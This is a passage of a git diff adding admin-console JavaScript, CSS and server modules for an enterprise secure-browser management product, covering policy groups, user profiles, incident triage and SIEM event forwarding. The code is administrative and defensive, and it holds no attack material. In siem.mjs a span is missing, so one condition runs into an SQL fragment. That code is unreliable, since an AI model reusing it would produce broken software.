b/apps/server/public/diagnostics-admin.js new file mode 100644 index 0000000..f61dc36 --- /dev/null +++ b/apps/server/public/diagnostics-admin.js @@ -0,0 +1,8 @@ +// Central diagnostics use the same draft, roles and independent publisher. +const diagnosticsFields=['diagnostics-enabled','diagnostics-mode','diagnostics-endpoint','diagnostics-sample','diagnostics-debug-sample']; +function fillDiagnostics(p){const d=p.diagnostics||{};$('diagnostics-enabled').checked=d.enabled===true;$('diagnostics-mode').value=d.mode||'operational';$('diagnostics-endpoint').value=d.endpoint||'';$('diagnostics-sample').value=d.sampleRate??0.1;$('diagnostics-debug-sample').value=d.debugSampleRate??1;} +const fillBeforeDiagnostics=fill;fill=function(p){fillBeforeDiagnostics(p);fillDiagnostics(p);}; +const draftBeforeDiagnostics=draft;draft=function(){const p=draftBeforeDiagnostics();p.diagnostics={...(p.diagnostics||{}),enabled:$('diagnostics-enabled').checked,mode:$('diagnostics-mode').value,endpoint:$('diagnostics-endpoint').value.trim(),sampleRate:Number($('diagnostics-sample').value),debugSampleRate:Number($('diagnostics-debug-sample').value)};if(!p.diagnostics.endpoint)delete p.diagnostics.endpoint;return p;}; +const permissionsBeforeDiagnostics=applyOperatorPermissions;applyOperatorPermissions=function(principal){permissionsBeforeDiagnostics(principal);const allowed=principal.permissions?.includes('policy.write')||(independentApprovalRequired&&principal.role==='operator');for(const id of diagnosticsFields)$(id).disabled=!allowed;}; +for(const id of diagnosticsFields)$(id).addEventListener('change',()=>updateDraftStatus()); +if(policy)fillDiagnostics(policy);if(currentPrincipal)applyOperatorPermissions(currentPrincipal); diff --git a/apps/server/public/group-admin.js b/apps/server/public/group-admin.js new file mode 100644 index 0000000..93795c5 --- /dev/null +++ b/apps/server/public/group-admin.js @@ -0,0 +1,17 @@ +/* Group restrictions are additive. Preview and acknowledgment describe actual backend state. */ +let groupState={groups:[],devices:[],version:0},selectedGroup='',groupBookmarks=[]; +const groupFlags=[['group-disable-downloads','disableDownloads'],['group-disable-ai','disableAI'],['group-disable-agents','disableAgents'],['group-hide-settings','hideSettings'],['group-require-scan','requireDocumentScan']]; +function groupChecks(container,devices,selected){$(container).replaceChildren();for(const device of devices){const label=document.createElement('label'),input=document.createElement('input');label.className='checks';input.type='checkbox';input.value=device.id;input.checked=selected.includes(device.id);input.disabled=device.revoked;label.append(input,document.createTextNode(`${device.name}${device.revoked?' (revoked)':''}`));$(container).append(label);}} +function groupSelected(container){return Array.from($(container).querySelectorAll('input:checked'),input=>input.value);} +function groupDraft(){const stage=$('group-stage').value,restrictions={blockedHosts:lines('group-blocked-hosts'),blockedPhrases:lines('group-blocked-phrases'),hiddenSections:managedSections.filter(section=>$(`group-hide-${section}`).checked),lockedSections:managedSections.filter(section=>$(`group-lock-${section}`).checked),managedBookmarks:structuredClone(groupBookmarks)};for(const [id,key]of groupFlags)restrictions[key]=$(id).checked;return {id:$('group-id').value.trim(),name:$('group-name').value.trim(),memberDeviceIds:groupSelected('group-members'),restrictions,rollout:{stage,deviceIds:stage==='all'?[]:groupSelected('group-cohort')}};} +function editGroup(group){selectedGroup=group?.id||'';groupBookmarks=structuredClone(group?.restrictions.managedBookmarks||[]);renderBookmarkRows('group-bookmark-rows',groupBookmarks);$('group-editor-title').textContent=group?`Edit ${group.name}`:'Create a device group';$('group-id').value=group?.id||'';$('group-id').readOnly=!!group;$('group-name').value=group?.name||'';$('group-stage').value=group?.rollout.stage||'pilot';groupChecks('group-members',groupState.devices,group?.memberDeviceIds||[]);groupChecks('group-cohort',groupState.devices,group?.rollout.deviceIds||[]);$('group-blocked-hosts').value=(group?.restrictions.blockedHosts||[]).join('\n');$('group-blocked-phrases').value=(group?.restrictions.blockedPhrases||[]).join('\n');for(const [id,key]of groupFlags)$(id).checked=group?.restrictions[key]===true;for(const section of managedSections){$(`group-hide-${section}`).checked=group?.restrictions.hiddenSections?.includes(section)||false;$(`group-lock-${section}`).checked=group?.restrictions.lockedSections?.includes(section)||false;}$('group-preview-summary').textContent='';$('group-preview-diff').replaceChildren();updateGroupCohort();applyGroupPermissions(currentPrincipal);} +function updateGroupCohort(){const members=groupSelected('group-members'),all=$('group-stage').value==='all';for(const checkbox of $('group-cohort').querySelectorAll('input')){if(!members.includes(checkbox.value))checkbox.checked=false;checkbox.disabled=all||!members.includes(checkbox.value);} } +function applyGroupPermissions(principal){if(!principal)return;const permissions=new Set(principal.permissions||[]),write=permissions.has('policy.write')||(independentApprovalRequired&&permissions.has('policy.prepare'));for(const input of $('policy-groups').querySelectorAll('input,textarea,select'))input.disabled=!write;for(const id of ['groups-refresh','group-preview-device','group-preview'])$(id).disabled=!permissions.has('policy.read');for(const id of ['group-save','group-new','group-bookmark-add'])$(id).disabled=!write;$('group-delete').disabled=!write||!selectedGroup;for(const button of $('group-bookmark-rows').querySelectorAll('button'))button.disabled=!write;for(const button of $('groups-rows').querySelectorAll('button'))button.disabled=!permissions.has('policy.read');$('group-save').textContent=independentApprovalRequired?'Prepare group for independent approval':'Publish group and rollout';if(write)updateGroupCohort();} +async function loadPolicyGroups(){groupState=await api('/api/admin/policy-groups');$('groups-rows').replaceChildren();for(const group of groupState.groups){const row=document.createElement('tr');cell(row,group.name);cell(row,group.memberDeviceIds.length);cell(row,group.rollout.stage==='all'?'All members':`${group.rollout.stage} · ${group.rollout.deviceIds.length} devices`);const action=cell(row,''),button=document.createElement('button');button.className='secondary';button.textContent='Edit / expand rollout';button.onclick=()=>editGroup(group);action.append(button);$('groups-rows').append(row);}$('group-device-rows').replaceChildren();$('group-preview-device').replaceChildren();for(const device of groupState.devices){const row=document.createElement('tr');cell(row,device.name);cell(row,(device.groups||[]).join(', ')||'Baseline');cell(row,`${device.policyVersion??0} / ${device.targetVersion??groupState.version}`);cell(row,device.revoked?'Revoked':device.acknowledged?'Reported target version':'Awaiting target version');cell(row,device.last_seen?new Date(device.last_seen).toLocaleString():'No contact');$('group-device-rows').append(row);if(!device.revoked){const option=document.createElement('option');option.value=device.id;option.textContent=device.name;$('group-preview-device').append(option);}}$('groups-status').textContent=`${groupState.groups.length} groups · signed baseline v${groupState.version}`;editGroup(groupState.groups.find(group=>group.id===selectedGroup));} +$('group-sections').replaceChildren();for(const section of managedSections){const row=document.createElement('div');row.className='checks';for(const [kind,label]of [['hide','Hide'],['lock','Lock']]){const element=document.createElement('label'),input=document.createElement('input');input.type='checkbox';input.id=`group-${kind}-${section}`;element.append(input,document.createTextNode(`${label} ${section}`));row.append(element);}$('group-sections').append(row);} +$('groups-refresh').onclick=task(loadPolicyGroups);$('group-new').onclick=()=>editGroup();$('group-members').onchange=updateGroupCohort;$('group-stage').onchange=updateGroupCohort; +$('group-save').onclick=task(async()=>{const group=groupDraft();if(!group.id||!group.name)throw Error('Enter a group identifier and name');const result=await api(`/api/admin/policy-groups/${encodeURIComponent(group.id)}`,{expectedVersion:groupState.version,group},'PUT');selectedGroup=group.id;await load();policyMutationStatus(result,`Group and ${group.rollout.stage} rollout published as signed policy v${result.version}.`);}); +$('group-delete').onclick=task(async()=>{if(!selectedGroup)throw Error('Select an existing group');const result=await api(`/api/admin/policy-groups/${encodeURIComponent(selectedGroup)}`,{expectedVersion:groupState.version},'DELETE');selectedGroup='';await load();policyMutationStatus(result,`Group removed in signed policy v${result.version}.`);}); +$('group-preview').onclick=task(async()=>{const group=groupDraft(),body={deviceId:$('group-preview-device').value};if(group.id)body.group=group;const result=await api('/api/admin/policy-groups/preview',body);$('group-preview-summary').textContent=`Effective groups: ${(result.groups||[]).join(', ')||'baseline only'} · ${result.diff?.changes?.length||0} differences from baseline`;$('group-preview-diff').replaceChildren();for(const change of result.diff?.changes||[]){const item=document.createElement('article');item.className='change-item';const title=document.createElement('strong'),before=document.createElement('pre'),after=document.createElement('pre');title.textContent=change.path;before.textContent=`Baseline: ${JSON.stringify(change.before)}`;after.textContent=`Effective: ${JSON.stringify(change.after)}`;item.append(title,before,after);$('group-preview-diff').append(item);}if(result.diff?.truncated){const warning=document.createElement('p');warning.textContent='Preview differences truncated; inspect the complete effective policy before publishing.';$('group-preview-diff').append(warning);}}); + +$('group-bookmark-add').onclick=task(async()=>addBookmark(groupBookmarks,'group-bookmark-rows')); diff --git a/apps/server/public/incident-admin.js b/apps/server/public/incident-admin.js new file mode 100644 index 0000000..a234e94 --- /dev/null +++ b/apps/server/public/incident-admin.js @@ -0,0 +1,7 @@ +/* Incident actions operate only on metadata. Server roles and revision CAS remain authoritative. */ +let incidentSelection=null,incidentCursor=null; +function applyIncidentPermissions(principal){if(!principal)return;const permissions=new Set(principal.permissions||[]),read=permissions.has('incidents.read'),write=permissions.has('incidents.triage');$('incidents').hidden=!read;document.querySelector('nav a[href="#incidents"]').hidden=!read;for(const id of ['incident-state','incident-severity','incident-assignee','incident-comment','incident-save'])$(id).disabled=!write;for(const button of document.querySelectorAll('[data-incident-create]'))button.disabled=!write;} +async function loadIncidents(append=false){const query=new URLSearchParams({limit:'50'});if($('incident-status-filter').value)query.set('status',$('incident-status-filter').value);if($('incident-severity-filter').value)query.set('severity',$('incident-severity-filter').value);if(append&&incidentCursor!==null)query.set('before',String(incidentCursor));const result=await api(`/api/admin/incidents?${query}`);if(!append)$('incident-rows').replaceChildren();for(const incident of result.incidents){const row=document.createElement('tr');row.dataset.incidentId=incident.id;cell(row,new Date(incident.createdAt).toLocaleString());cell(row,incident.event.kind);cell(row,incident.status);cell(row,incident.severity);cell(row,incident.assignee||'Unassigned');const button=document.createElement('button');button.textContent='Review';button.className='secondary';button.onclick=task(()=>openIncident(incident.id));cell(row,'').append(button);$('incident-rows').append(row);}incidentCursor=result.nextBefore??null;$('incidents-more').hidden=incidentCursor===null;$('incidents-status').textContent=`${$('incident-rows').children.length} incidents shown${incidentCursor===null?'':' · older incidents available'}`;applyIncidentPermissions(currentPrincipal);} +async function openIncident(id){const result=await api(`/api/admin/incidents/${encodeURIComponent(id)}`),incident=result.incident||result;incidentSelection=incident;$('incident-detail').hidden=false;$('incident-title').textContent=`Incident · ${incident.event.kind}`;$('incident-revision').textContent=`${incident.id} · revision ${incident.revision} · updated ${new Date(incident.updatedAt).toLocaleString()}`;$('incident-event').textContent=JSON.stringify(incident.event,null,2);$('incident-state').value=incident.status;$('incident-severity').value=incident.severity;$('incident-assignee').value=incident.assignee||'';$('incident-comment').value='';$('incident-detail-status').textContent='';$('incident-history').replaceChildren();for(const entry of incident.history||[]){const item=document.createElement('article');item.className='change-item';const title=document.createElement('strong'),note=document.createElement('p');title.textContent=`Revision ${entry.revision} · ${entry.status} · ${entry.severity} · ${entry.actor} · ${new Date(entry.time).toLocaleString()}`;note.textContent=`Assignee: ${entry.assignee||'Unassigned'}${entry.comment?' · '+entry.comment:''}`;item.append(title,note);$('incident-history').append(item);}applyIncidentPermissions(currentPrincipal);} +$('incidents-refresh').onclick=task(()=>loadIncidents());for(const id of ['incident-status-filter','incident-severity-filter'])$(id).onchange=task(()=>loadIncidents());$('incidents-more').onclick=task(()=>loadIncidents(true));$('incident-detail-refresh').onclick=task(async()=>{if(incidentSelection)await openIncident(incidentSelection.id);}); +$('incident-save').onclick=task(async()=>{if(!incidentSelection)throw Error('Select an incident first.');try{await api(`/api/admin/incidents/${encodeURIComponent(incidentSelection.id)}`,{expectedRevision:incidentSelection.revision,status:$('incident-state').value,severity:$('incident-severity').value,assignee:$('incident-assignee').value.trim()||null,...($('incident-comment').value.trim()?{comment:$('incident-comment').value.trim()}:{})},'PATCH');await openIncident(incidentSelection.id);await loadIncidents();$('incident-detail-status').textContent='Investigation update saved.';}catch(error){$('incident-detail-status').textContent=`Update was not saved: ${error.message}. Your edits are preserved. Refresh the incident before trying again.`;throw error;}}); diff --git a/apps/server/public/index.html b/apps/server/public/index.html new file mode 100644 index 0000000..031164d --- /dev/null +++ b/apps/server/public/index.html @@ -0,0 +1,32 @@ +SafetyNet · Management +

SECURE ENTERPRISE BROWSING

Management console

Policies, people and protection in one workspace.

+

Administrator access

Sign in with your enterprise identity, or use the bootstrap token configured on the server.

+

+

Review policy changes

Review the changed policy paths before publication. Existing server validation and version checks remain authoritative.

+ + + + + + + + + + + + + + diff --git a/apps/server/public/profile-admin.js b/apps/server/public/profile-admin.js new file mode 100644 index 0000000..07a3a16 --- /dev/null +++ b/apps/server/public/profile-admin.js @@ -0,0 +1,13 @@ +/* Profiles add restrictions; reviewed developer grants require central delegation. */ +let profileState={version:0,profiles:[],categories:[],delegation:{devTools:false},devices:[]},selectedProfile=''; +const profileFeatureNames=['devTools','downloads','ai','agents']; +function profileDraft(){return {id:$('profile-id').value.trim(),name:$('profile-name').value.trim(),subjects:lines('profile-subjects'),deviceIds:groupSelected('profile-devices'),allowedHosts:lines('profile-allowed'),blockedHosts:lines('profile-blocked'),blockedCategoryIds:groupSelected('profile-categories'),features:Object.fromEntries(profileFeatureNames.map(key=>[key,$(key==='devTools'?'profile-devtools':`profile-${key}`).value])),requireDocumentScan:$('profile-scan').checked};} +function editProfile(profile){selectedProfile=profile?.id||'';$('profile-editor-title').textContent=profile?`Edit ${profile.name}`:'Create profile';$('profile-id').value=profile?.id||'';$('profile-id').readOnly=!!profile;$('profile-name').value=profile?.name||'';$('profile-subjects').value=(profile?.subjects||[]).join('\n');$('profile-allowed').value=(profile?.allowedHosts||[]).join('\n');$('profile-blocked').value=(profile?.blockedHosts||[]).join('\n');groupChecks('profile-devices',profileState.devices,profile?.deviceIds||[]);groupChecks('profile-categories',profileState.categories,profile?.blockedCategoryIds||[]);for(const key of profileFeatureNames)$(key==='devTools'?'profile-devtools':`profile-${key}`).value=profile?.features?.[key]||'inherit';$('profile-scan').checked=profile?.requireDocumentScan===true;$('profile-preview-summary').textContent='';$('profile-preview-diff').replaceChildren();applyProfilePermissions(currentPrincipal);} +function applyProfilePermissions(principal){if(!principal)return;const permissions=new Set(principal.permissions||[]),write=permissions.has('policy.write')||(independentApprovalRequired&&permissions.has('policy.prepare'));for(const field of $('user-profiles').querySelectorAll('input,textarea,select,button'))field.disabled=!write;for(const id of ['profiles-refresh','profile-preview-device','profile-preview'])$(id).disabled=!permissions.has('policy.read');for(const button of $('profiles-rows').querySelectorAll('button'))button.disabled=!permissions.has('policy.read');$('profile-delete').disabled=!write||!selectedProfile;$('profile-save').textContent=independentApprovalRequired?'Prepare profile for independent approval':'Publish profile';$('profile-config-save').textContent=independentApprovalRequired?'Prepare categories and delegation for approval':'Publish categories and delegation';} +async function loadUserProfiles(){profileState=await api('/api/admin/user-profiles');$('profiles-rows').replaceChildren();for(const profile of profileState.profiles){const row=document.createElement('tr');cell(row,profile.name);cell(row,`${profile.subjects.length} verified subjects / ${profile.deviceIds.length} devices`);cell(row,profile.features.devTools);const button=document.createElement('button');button.className='secondary';button.textContent='Edit profile';button.onclick=()=>editProfile(profile);cell(row,'').append(button);$('profiles-rows').append(row);}$('profile-preview-device').replaceChildren();$('profile-device-rows').replaceChildren();for(const device of profileState.devices){const row=document.createElement('tr');cell(row,device.name);cell(row,device.verifiedSubject?device.subject:'No verified subject; explicit device assignment only');cell(row,(device.profiles||[]).join(', ')||'Baseline');$('profile-device-rows').append(row);if(!device.revoked){const option=document.createElement('option');option.value=device.id;option.textContent=device.name;$('profile-preview-device').append(option);}}$('profiles-status').textContent=`${profileState.profiles.length} profiles / signed policy v${profileState.version}`;$('profile-delegation').checked=profileState.delegation.devTools===true;$('profile-category-json').value=JSON.stringify(profileState.categories,null,2);editProfile(profileState.profiles.find(profile=>profile.id===selectedProfile));} +$('profiles-refresh').onclick=task(loadUserProfiles);$('profile-new').onclick=()=>editProfile(); +$('profile-use-template').onclick=()=>{const kind=$('profile-template').value;editProfile({id:kind,name:kind==='developer'?'Developers':kind==='employee'?'Employees':'High protection',features:{devTools:kind==='developer'?'allow':'deny',downloads:kind==='high-protection'?'deny':'inherit',ai:'inherit',agents:kind==='high-protection'?'deny':'inherit'},requireDocumentScan:kind==='high-protection'});status('Class loaded into local draft. Assign verified subjects or managed devices and review before publication.');}; +$('profile-save').onclick=task(async()=>{const profile=profileDraft();if(!profile.id||!profile.name)throw Error('Enter profile identifier and name');const result=await api(`/api/admin/user-profiles/${encodeURIComponent(profile.id)}`,{expectedVersion:profileState.version,profile},'PUT');selectedProfile=profile.id;await load();policyMutationStatus(result,`Profile published as signed policy v${result.version}.`);}); +$('profile-delete').onclick=task(async()=>{if(!selectedProfile)throw Error('Select a published profile');const result=await api(`/api/admin/user-profiles/${encodeURIComponent(selectedProfile)}`,{expectedVersion:profileState.version},'DELETE');selectedProfile='';await load();policyMutationStatus(result,`Profile removed as signed policy v${result.version}.`);}); +$('profile-config-save').onclick=task(async()=>{const categories=JSON.parse($('profile-category-json').value),result=await api('/api/admin/user-profile-configuration',{expectedVersion:profileState.version,categories,delegation:{devTools:$('profile-delegation').checked}},'PUT');await load();policyMutationStatus(result,`Categories and delegation published as signed policy v${result.version}.`);}); +$('profile-preview').onclick=task(async()=>{const profile=profileDraft(),body={deviceId:$('profile-preview-device').value};if(profile.id)body.profile=profile;const result=await api('/api/admin/user-profiles/preview',body);$('profile-preview-summary').textContent=`Effective profiles: ${(result.profiles||[]).join(', ')||'baseline only'} / ${result.diff?.changes?.length||0} policy differences`;$('profile-preview-diff').replaceChildren();for(const change of result.diff?.changes||[]){const row=document.createElement('article');row.className='change-item';const title=document.createElement('strong'),before=document.createElement('pre'),after=document.createElement('pre');title.textContent=change.path;before.textContent=`Baseline: ${JSON.stringify(change.before)}`;after.textContent=`Effective: ${JSON.stringify(change.after)}`;row.append(title,before,after);$('profile-preview-diff').append(row);}if(result.diff?.truncated){const warning=document.createElement('p');warning.textContent='Diff truncated. Review the complete effective policy through the authenticated API.';$('profile-preview-diff').append(warning);}}); diff --git a/apps/server/public/style.css b/apps/server/public/style.css new file mode 100644 index 0000000..5ed1fe6 --- /dev/null +++ b/apps/server/public/style.css @@ -0,0 +1,15 @@ +/* The administration console uses quiet glass surfaces; website content is untouched. */ +:root{font-family:"Segoe UI",system-ui,-apple-system,sans-serif;color-scheme:light;--bg:#f4f6fa;--surface:#fff;--surface-soft:#f7f9fc;--text:#202936;--muted:#66758a;--border:#dde4ed;--accent:#176cce;--accent-soft:#eaf2ff;--sidebar:#f0f3f9;--shadow:0 3px 20px #1a36580a;color:var(--text);background:var(--bg)} +:root[data-theme=dark]{color-scheme:dark;--bg:#10151e;--surface:#1a2230;--surface-soft:#151d29;--text:#e6edf8;--muted:#a0b0c5;--border:#303c50;--accent:#79b6ff;--accent-soft:#253d5b;--sidebar:#151c29;--shadow:0 4px 24px #0002} +@media(prefers-color-scheme:dark){:root:not([data-theme=light]){color-scheme:dark;--bg:#10151e;--surface:#1a2230;--surface-soft:#151d29;--text:#e6edf8;--muted:#a0b0c5;--border:#303c50;--accent:#79b6ff;--accent-soft:#253d5b;--sidebar:#151c29;--shadow:0 4px 24px #0002}} +*{box-sizing:border-box}body{margin:0}html{scroll-behavior:smooth}aside{position:fixed;inset:0 auto 0 0;width:252px;background:var(--sidebar);border-right:1px solid var(--border);padding:28px 18px;display:flex;flex-direction:column;z-index:20;overflow:auto}.logo{display:flex;gap:12px;align-items:center;padding:0 9px 18px;font-weight:650;font-size:19px}.logo>b{display:grid;place-items:center;width:38px;height:38px;border-radius:12px;background:var(--accent);color:var(--bg);font-size:25px}.logo small{display:block;font-size:10px;font-weight:400;margin-top:4px;color:var(--muted)}nav{display:grid;gap:3px}.nav-group{font-size:10px;font-weight:700;letter-spacing:1.3px;color:var(--muted);margin:22px 12px 7px}nav a{color:var(--text);text-decoration:none;padding:10px 12px;border-radius:9px;font-size:13px}nav a:hover,nav a[aria-current=true]{background:var(--accent-soft);color:var(--accent)}.aside-note{margin-top:auto;padding:26px 10px 0;display:grid;gap:12px;font-size:12px;color:var(--muted)}.aside-note label{font-size:11px}.aside-note select{font-size:12px;padding:8px}.pill{font-size:11px;background:var(--accent-soft);color:var(--accent);padding:6px 10px;border-radius:20px;display:inline-block;width:fit-content}.skip-link{position:fixed;top:-100px;left:260px;z-index:100;padding:12px;background:var(--surface)}.skip-link:focus{top:8px}main{margin-left:252px;padding:36px 42px 64px;max-width:1740px}header,.section-head{display:flex;justify-content:space-between;align-items:center;gap:18px}header{margin-bottom:25px}.header-description{margin:8px 0 0;color:var(--muted);font-size:14px}h1{font-size:30px;letter-spacing:-1px;margin:7px 0;font-weight:650}h2{font-size:21px;letter-spacing:-.5px;margin:8px 0 16px;font-weight:650}h3{font-size:16px;margin-top:28px}p{line-height:1.65;font-size:13px}.eyebrow{font-size:10px;font-weight:750;letter-spacing:1.4px;color:var(--accent);margin:0}.muted,small{color:var(--muted);font-size:12px}.card{background:var(--surface);border:1px solid var(--border);border-radius:18px;padding:28px;margin-bottom:24px;scroll-margin-top:120px;box-shadow:var(--shadow)}.metrics{display:grid;grid-template-columns:repeat(4,1fr);gap:16px;margin:24px 0;scroll-margin-top:110px}.metrics article{background:var(--surface);border:1px solid var(--border);border-radius:16px;padding:22px;box-shadow:var(--shadow)}.metrics span{font-size:12px;color:var(--muted)}.metrics strong{display:block;font-size:30px;letter-spacing:-1px;margin-top:13px;font-weight:650}.overview-grid{display:grid;grid-template-columns:1.2fr 1fr;gap:20px}.overview-grid .card{min-width:0}.posture-item{display:flex;justify-content:space-between;gap:20px;padding:12px 0;border-bottom:1px solid var(--border);font-size:12px}.posture-item span{color:var(--muted)}.posture-item strong{font-weight:600;text-align:right}.workflow{padding-left:20px;font-size:13px;line-height:1.8;color:var(--muted)}.workflow li{padding:5px 0}.publish-bar{position:sticky;top:10px;z-index:10;background:var(--surface);border:1px solid var(--border);box-shadow:0 6px 25px #18345814;border-radius:14px;padding:14px 18px;display:flex;justify-content:space-between;align-items:center;gap:16px}.publish-bar strong{font-size:13px;display:block}.publish-bar span{display:block;font-size:11px;color:var(--muted);margin-top:4px}.publish-bar .row{margin:0}.draft-dirty{color:var(--accent)}.grid{display:grid;grid-template-columns:1fr 1fr;gap:20px;margin:24px 0}.wide{grid-column:1/-1}label{font-size:12px;font-weight:600;display:grid;gap:8px}small{font-weight:400}.row{display:flex;gap:12px;align-items:center;margin:20px 0}.row input{flex:1;min-width:100px}input,textarea,select{width:100%;font:inherit;border:1px solid var(--border);border-radius:9px;padding:11px 12px;background:var(--surface-soft);color:var(--text);transition:border-color .2s}input:hover,textarea:hover,select:hover{border-color:var(--muted)}input[type=color]{height:43px;padding:5px}input[type=checkbox]{accent-color:var(--accent);width:16px;height:16px}textarea{min-height:88px;resize:vertical}button,.button{font:inherit;font-size:12px;font-weight:600;background:var(--accent);color:var(--surface);border:1px solid transparent;border-radius:9px;padding:11px 16px;cursor:pointer;white-space:nowrap;text-decoration:none;display:inline-block;transition:filter .2s,transform .15s}button:hover,.button:hover{filter:brightness(.93)}button:active,.button:active{transform:translateY(1px)}.secondary{background:var(--surface-soft);color:var(--text);border-color:var(--border)}.danger{background:#b82e2812;color:#c44842;border-color:#c4484230}.checks{display:flex;gap:20px;flex-wrap:wrap;margin-bottom:24px}.checks label,label.checks{display:flex;align-items:center;font-weight:400}.checks input{width:auto}.file{margin:22px 0;max-width:480px}.rule{display:flex;align-items:center;justify-content:space-between;gap:12px;padding:14px;background:var(--surface-soft);border:1px solid var(--border);border-radius:10px;margin:8px 0;font-size:12px}.table-wrap{overflow:auto}table{width:100%;border-collapse:collapse;margin-top:20px;font-size:12px}th{text-align:left;color:var(--muted);font-weight:600;padding:12px;border-bottom:1px solid var(--border);background:var(--surface-soft)}td{padding:14px 12px;border-bottom:1px solid var(--border);max-width:420px;overflow-wrap:anywhere}td button{margin:3px}output{display:block;margin:16px 0;white-space:pre-wrap;overflow-wrap:anywhere}#status{color:var(--accent);min-height:20px;margin:0 0 12px}#status.error{color:#c44842}:focus-visible{outline:3px solid var(--accent);outline-offset:3px}[hidden]{display:none!important}.integration-item{border:1px solid var(--border);border-radius:10px;padding:14px 16px;margin:10px 0}.integration-item p{margin:6px 0 0;font-size:12px;color:var(--muted)}button:disabled,input:disabled,select:disabled,textarea:disabled{opacity:.55;cursor:not-allowed}#bookmarks td input{min-width:120px}#bookmarks td:nth-child(2){width:45%}#bookmarks .table-wrap{margin-bottom:18px}#bookmark-device{flex:1;min-width:160px}.filter-row{align-items:end}.filter-row label:first-child{flex:1}.filter-row output{font-size:12px;color:var(--muted)}dialog{background:var(--surface);color:var(--text);border:1px solid var(--border);border-radius:18px;padding:28px;width:min(840px,92vw);max-height:85vh;box-shadow:0 20px 80px #0003}dialog::backdrop{background:#10192566;backdrop-filter:blur(4px)}.change-item{background:var(--surface-soft);padding:14px;border:1px solid var(--border);border-radius:10px;margin:12px 0;font-size:12px}.change-item pre{white-space:pre-wrap;overflow-wrap:anywhere;color:var(--muted);font-size:11px}#security-json,#agents-json{font-family:Consolas,monospace;font-size:12px} +@supports(backdrop-filter:blur(20px)){.publish-bar{background:color-mix(in srgb,var(--surface) 90%,transparent);backdrop-filter:blur(20px) saturate(140%)}} +@media(max-width:1100px){aside{width:212px;padding:24px 12px}main{margin-left:212px;padding:28px}.metrics{grid-template-columns:repeat(2,1fr)}.row{flex-wrap:wrap}.overview-grid{grid-template-columns:1fr}.publish-bar{align-items:flex-start}}@media(max-width:760px){aside{position:relative;width:auto;padding:18px;border-right:0;border-bottom:1px solid var(--border)}nav{display:flex;overflow:auto;gap:4px}nav a{white-space:nowrap}.nav-group,.aside-note{display:none}.logo{padding-bottom:12px}main{margin:0;padding:20px}.grid{grid-template-columns:1fr}.wide{grid-column:auto}h1{font-size:26px}.card{padding:20px}.publish-bar{position:relative;top:0;flex-direction:column}.publish-bar .row{width:100%}.metrics{gap:12px}.metrics article{padding:18px}.filter-row label{width:100%}header{align-items:flex-start}.checks{gap:14px}.card{scroll-margin-top:20px}}@media(prefers-reduced-motion:reduce){html{scroll-behavior:auto}*,*::before,*::after{transition:none!important}} + +@media(max-width:760px){.aside-note{display:flex;align-items:center;padding:12px 8px 0;gap:12px}.aside-note select{width:170px}.aside-note .pill{display:none}.aside-note label{white-space:nowrap}} + +.header-actions{display:flex;gap:8px;flex-wrap:wrap;justify-content:flex-end} + +#history-diff-list{max-height:360px;overflow:auto;padding-right:8px}fieldset{border:1px solid var(--border);border-radius:12px;padding:18px;min-width:0}legend{font-size:12px;font-weight:650;color:var(--muted);padding:0 8px}fieldset .checks{margin:4px 0}details{border:1px solid var(--border);border-radius:12px;padding:16px}summary{cursor:pointer;font-size:12px;font-weight:650}details label{margin-top:16px} +#history-review{scroll-margin-top:120px} +.device-checklist{display:grid;gap:4px;max-height:240px;overflow:auto;margin-top:16px}.device-checklist label{margin:0;padding:8px;border-radius:8px;background:var(--surface-soft)}#group-preview-diff{max-height:320px;overflow:auto}#policy-groups fieldset .checks{gap:10px} diff --git a/apps/server/siem.mjs b/apps/server/siem.mjs new file mode 100644 index 0000000..b78f8a2 --- /dev/null +++ b/apps/server/siem.mjs @@ -0,0 +1,35 @@ +import { appendFileSync,readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { request } from 'node:https'; +import { toECS,toCEF } from '../../packages/core/siem.mjs'; +import { digest } from './store.mjs'; +export function startSIEM(store,directory,env=process.env) { + let stopped=false,running=false,failures=0,nextAttempt=0; + const url=env.SIEM_HTTP_URL?new URL(env.SIEM_HTTP_URL):null; + if(url&&(url.protocol!=='https:'||url.username||url.password))throw Error('SIEM push requires an HTTPS URL without embedded credentials'); + const tlsOptions={...(env.SIEM_CA_FILE?{ca:readFileSync(env.SIEM_CA_FILE)}:{}),...(env.SIEM_CERT_FILE?{cert:readFileSync(env.SIEM_CERT_FILE)}:{}),...(env.SIEM_KEY_FILE?{key:readFileSync(env.SIEM_KEY_FILE)}:{})}; + const format=env.SIEM_FORMAT||'ecs';if(!['ecs','cef'].includes(format))throw Error('SIEM_FORMAT must be ecs or cef'); + const cursorKey=url?`siem.remote.${digest(url.href+':'+format)}`:`siem.file.${format}`; + async function tick(){ + if(stopped||running||Date.now()? ORDER BY id LIMIT 100').all(after).map(e=>({...e,metadata:JSON.parse(e.metadata)})); + if(!rows.length)return; + const body=rows.map(e=>format==='ecs'?JSON.stringify(toECS(e,store.get('installationId'))):toCEF(e,store.get('installationId'))).join('\n')+'\n'; + if(url)await push(url,body,format,env.SIEM_HTTP_TOKEN,tlsOptions); + else appendFileSync(join(directory,`security.${format==='ecs'?'ndjson':'cef'}`),body,{mode:0o600,flush:true}); + if(!stopped)store.put(cursorKey,rows.at(-1).id);failures=0;nextAttempt=0; + }catch{failures++;nextAttempt=Date.now()+Math.min(300000,1000*2**Math.min(failures,8));} + finally{running=false;} + } + const timer=setInterval(tick,2000);timer.unref();tick(); + return {stop:()=>{stopped=true;clearInterval(timer);},flush:tick,status:()=>({configured:!!url,format,failures,cursor:store.get(cursorKey)||0,pending:store.db.prepare('SELECT count(*) AS n FROM events WHERE id>?').get(store.get(cursorKey)||0).n})}; +} +function push(url,body,format,credential,tlsOptions) { + return new Promise((resolve,reject)=>{ + const req=request(url,{method:'POST',...tlsOptions,headers:{'content-type':format==='ecs'?'application/x-ndjson':'text/plain','content-length':Buffer.byteLength(body),...(credential?{authorization:`Bearer ${credential}`}:{})}},res=>{ + res.resume();res.on('error',reject);res.on('end',()=>res.statusCode>=200&&res.statusCode<300?resolve():reject(Error('SIEM rejected batch'))); + });req.setTimeout(10000,()=>req.destroy(Error('SIEM timeout')));req.on('error',reject);req.end(body); + }); +} diff --git a/apps/server/store.mjs b/apps/server/store.mjs new file mode 100644 index 0000000..21792f0 --- /dev/null +++ b/apps/server/store.mjs @@ -0,0 +1,61 @@ +import { DatabaseSync } from 'node:sqlite'; +import { mkdirSync } from 'node:fs'; +import { join } from 'node:path'; +import { randomBytes, createHash, generateKeyPairSync } from 'node:crypto'; +import { defaultPolicy, signPolicy, PolicySchema 